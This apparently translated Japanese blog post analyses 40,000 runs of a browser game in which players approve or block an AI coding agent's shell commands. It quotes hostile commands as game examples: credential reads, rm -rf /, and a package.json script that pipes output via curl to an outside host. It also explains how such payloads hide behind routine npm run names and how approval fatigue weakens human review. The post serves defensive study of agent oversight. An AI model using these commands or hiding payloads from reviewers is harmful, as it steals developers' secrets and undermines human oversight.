AIエージェントのコマンド承認、4万回のゲーム実行で3分の1の脅威を見逃す

目次 数ヶ月前、私は小さなブラウザゲームを公開しました。プレイヤーはAIコーディングエージェントの人間ループとなり、時間的プレッシャーの中でそのコマンドを承認または拒否します。一部のコマンドはルーチン（git status, npm test）ですが、他のコマンドはエージェントが乗っ取られ、秘密情報をリモートサーバーに送信していることを示唆します（cat ~/.aws/credentials）。エージェントがコマンドを実行する際の脅威と、それらを軽減する方法については、元の投稿で詳しく説明しています。 このゲームはHacker Newsで注目を集め、統計機能（残念ながら後から追加されました）を追加した後、40,000回以上の実行と409,000件の個別の承認/拒否決定のデータに詳しく調べることができます。AIエージェントに対する最後の防御線である人間ループがどのように機能したかを見てみましょう。 ヘッドラインの数字 * 平均プレイヤーは3分の1の脅威を見逃しました（平均精度66.3%）。 * セッションの32.9%はマイナスのスコアで終了しました。承認された脅威とブロックされた安全なコマンドからのペナルティが、正しく行われたすべてを上回りました。 * プレイヤーの35.2%はすべての脅威を検知しましたが、安全なコマンドの5分の1を超えてブロックしたのは20.8%だけでした。残りはすべてをブロックすることによって（「ヒューマン・ボトルネック」の称号を授与）達成しました。 * 7%のプレイヤーはすべてのプロンプトを承認しました：--dangerously-skip-permissionsの熱心なファンです。 小さな注意点：これはゲームであり、プレイヤーが見たコマンドの約34%が脅威でした。私たちの日常業務では、これらの脅威はまれにしか現れません。プレイヤーは、時間制限のあるチャレンジでテストされていることを知っていました。しかし、以下の数字は、脅威を比較し、それらに対する一般的な認識を互いに比較する上で役立つ洞察を得るのに役立つかもしれません。 脅威カテゴリと見逃し率 カテゴリ|例|見逃し率 ---|---|--- 明白な破壊的|rm -rf /, chmod -R 777 /|11.7% 永続的な変更|crontab injection, git config hijack|23.8% 情報漏洩 / コード実行|curl to unknown APIs, typosquatted packages|33.4% スコープ違反|cat ~/.aws/credentials, cat ~/.kube/config|35.0% 明白に破壊的なコマンドは最も確実に捕捉されます。実際に認証情報を漏洩するコマンドは3倍も多く見逃されます。 npm run の盲点 ゲームで最も見逃された単一のコマンドは `npm run analyze` で、64.7% の確率で承認されました。このコマンド自体は通常無害です。しかし、`npm run` が実際に行うのは、プロジェクトの `package.json` で定義されたスクリプトを実行することです。これは、バンドルアナライザーを実行するような無害なコードである場合もあれば、以前にファイルに書き込まれたインジェクションコードである場合もあります。 ゲームは、エージェントの履歴ログで、そのスクリプトが実際には何を含んでいるかを教えてくれます。 1✻ バンドルアナライザーを実行します — プロジェクトスクリプトに既に設定されています。 2 // package.json → scripts 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://api.bundle.track/report -d @- プレイヤーの3分の2はそれでもそれを承認しました。これは、パーミッションプロンプトのすぐ上にある履歴ログが注意深く読まれていない可能性を示唆しています。ゲームにはこれらのうち3つがあり、最も見逃されたリストに登場します。 コマンド|見逃し率|ランク（37の脅威中） ---|---|--- npm run analyze|64.7%|1位 npm run setup|48.0%|4位 npm run deploy|44.9%|8位 まとめて、これら3つは他のすべての情報漏洩スタイルの攻撃の28.4%と比較して、52.5%の時間（n=9,482）で見逃されました。ペイロードを一般的なスクリプト名の背後に隠すことは、ペイロードが表示されていても成功率を約2倍にします。 これは実際には、Hacker Newsのスレッドでdns_snekが的確に述べた、より大きな問題の症状です。 「危険なアクションがどのように無害と認識されるかの素晴らしい例です。特定のコマンドを承認するというモデル全体はまったくばかげています。」 `npm run build` = `package.json` に書かれた任意のシェルコマンドを実行する その間、エージェントは承認なしに以下のいずれかを行う可能性があります。 * `package.json` を編集して任意のビルドコマンドを含める * ビルドスクリプト（`npm run build` によって呼び出される）に悪意のあるコードを配置する * `node_modules/xyz/index.js`（ビルドスクリプトによってインポートされる）に悪意のあるコードを配置する ほとんどの場合安全であるコマンドをユーザーに検証させることは、もはや安全ではありません。なぜなら、ファイルが変更されているからです。これは強力な保護策ではありません。 プレッシャー下では見逃し率が増加する Anthropicは以前、Claude Codeにおけるパーミッション疲労は現実であると指摘し、次の引用をしました。 「ユーザーが見る承認が増えるほど、個々の承認への注意は薄れ、時間の経過とともに監督がはるかに怠慢になります。」 そして、ユーザーが脅威について警告される短いゲームであっても、ゲーム実行の終盤に向かって劣化の兆候が見られます。 上記のグラフはセッション中の脅威の見逃し率を示しており、プレイヤーが完了したコマンド数に基づいてプレイがグループ化されています。完了したコマンド数が少ないグループは、プレイヤーがレビューに時間をかけるか、エラーが発生した後にペナルティとして数秒間ゲームがフリーズするためです。すべてをブロックしただけのユーザーは削除しました。 すべてのグループは最初の数コマンド（ウォームアップ？）で改善し、その後、見逃し率は終盤に向かって再び上昇します。ただし、これは時計の針が迫っているストレスや、プレイヤーが追加のコマンドを実行するために間違いを犯しやすくなる可能性も考えられます。 警戒の代償：過剰なブロック 以下のコマンドは意図は無害でしたが、日常的にブロックされました。 * `npm config set registry https://npm.internal` — 59% の確率でブロックされました（内部ミラーの設定）。 * `rm -rf dist/` — 45% の確率でブロックされました（新しいビルドの前に一般的ではないビルド出力のクリア）。 * `kill $(lsof -t -i:3000)` — 43% の確率でブロックされました（サーバーがリッスンしているポートの解放、おそらくクラッシュしたプロセスによる）。 これは、人間ループのジレンマのもう一方の側面です。ユーザーは実際には無害なコマンドを承認するように求められ、それらをブロックするとエージェントの速度が低下します。時間の経過とともに、このノイズによりユーザーは警戒を緩め、悪意のあるコマンドを承認するようになる可能性があります。Anthropicの「Auto Mode」のような機能は、ユーザーに尋ねる前にコマンドが安全かどうかを自動的に判断しようとすることで、これを軽減しようとしますが、前述の投稿で述べたように、それらは完璧ではありません。 議論を呼んだ `cat` `cat ~/.zshrc` は、プレイヤーの45.9%によって承認され、ゲームで最も意見が分かれたコマンドでした。Hacker Newsで提起された異議はもっともです。多くの開発者はシェルプロファイルに秘密情報を保持していないため、彼らにとっては無害です。APIキーをエクスポートしている多くの人にとっては、認証情報の開示です。コマンドのリスクは、エージェントが見ることができないセットアップに完全に依存します。代わりに `.zshrc` から別のシークレットファイルをソースする場合、エージェントがより多くのアクセス権を取得するリスクは軽減されます。 結論 人間ループに関する議論をフォローし、パーミッションモデルについてさらに学ぶことは楽しかったです。これは単なるゲームですが、AIコーディングエージェントのセーフガードとしての人間ループのいくつかの問題を示していると思います。ノイズの多さは疲労を引き起こし、開発者は常に何が変更されたかのコンテキストを持っていないため、リスクを迅速に判断できません。 開発者としては、さまざまなパーミッションモデルのトレードオフと、サンドボックスの適用や認証情報と環境変数シークレットの分離など、関連するリスクを軽減する方法を非常に熟知する必要があります。元の投稿には、これらの実践的な緩和策の一部が含まれています。 運試しにゲームをプレイしたい場合は、こちらで見つけることができます: https://llmgame.scalex.dev Alex Wauters こんにちは、Alexです。開発者のセキュリティと、ソフトウェアシステムの構築およびスケーリングのトレードオフについて書いています。Uberの元スタッフエンジニア。 その他の投稿 メールで購読する LinkedIn RSS← 前の記事 エージェントパーミッション疲労に悩んでいませんか？ハイスコアをチェックしましょう 目次